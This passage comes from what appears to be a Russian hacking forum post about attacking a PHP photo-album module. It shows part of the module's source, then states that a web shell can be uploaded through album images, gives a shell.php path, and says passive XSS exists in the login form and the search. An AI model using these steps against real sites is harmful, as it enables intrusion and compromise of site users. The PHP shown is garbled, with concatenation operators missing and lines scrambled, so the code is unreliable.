    $js = new jsAlert(_ERROR_WHILE_UPDATING_PHOTO_'history.go(-1);');
                     print 
    $js->Alert();
                 }
             }
             break;
             
         case 
    "erase":
             if(
    $_GET['id'])
             {
                 
    $photo = new Photos($_GET['id']);
                 if(
    $photo->getId())
                 {
                     if(
    $photo->Erase())
                     {
                         
    $js = new jsAlert(_PHOTO_SUCCESSFULLY_ERASED_"window.location='" _MODULE_URL_ "&op=view&id=" $photo->getAlbum() . "';");
                         print 
    $js->Alert();
                     }
                     else
                     {
                         
    $js = new jsAlert(_ERROR_WHILE_ERASING_PHOTO_'history.go(-1);');
                         print 
    $js->Alert();
                     }
                 }
             }
             break;
     }

     require_once(
    'footer.php');
     
    ?>
    Шелл льем "в открытом виде" через картинки в меню альбомов:
    Code:
    http://temp/modules/Albums/albums/1/file/shell.php
    4. XSS
    ИКСы там повсюду (пассивки) - форма авторизации, поиск и т.д.
     
    5 people like this.
Loading...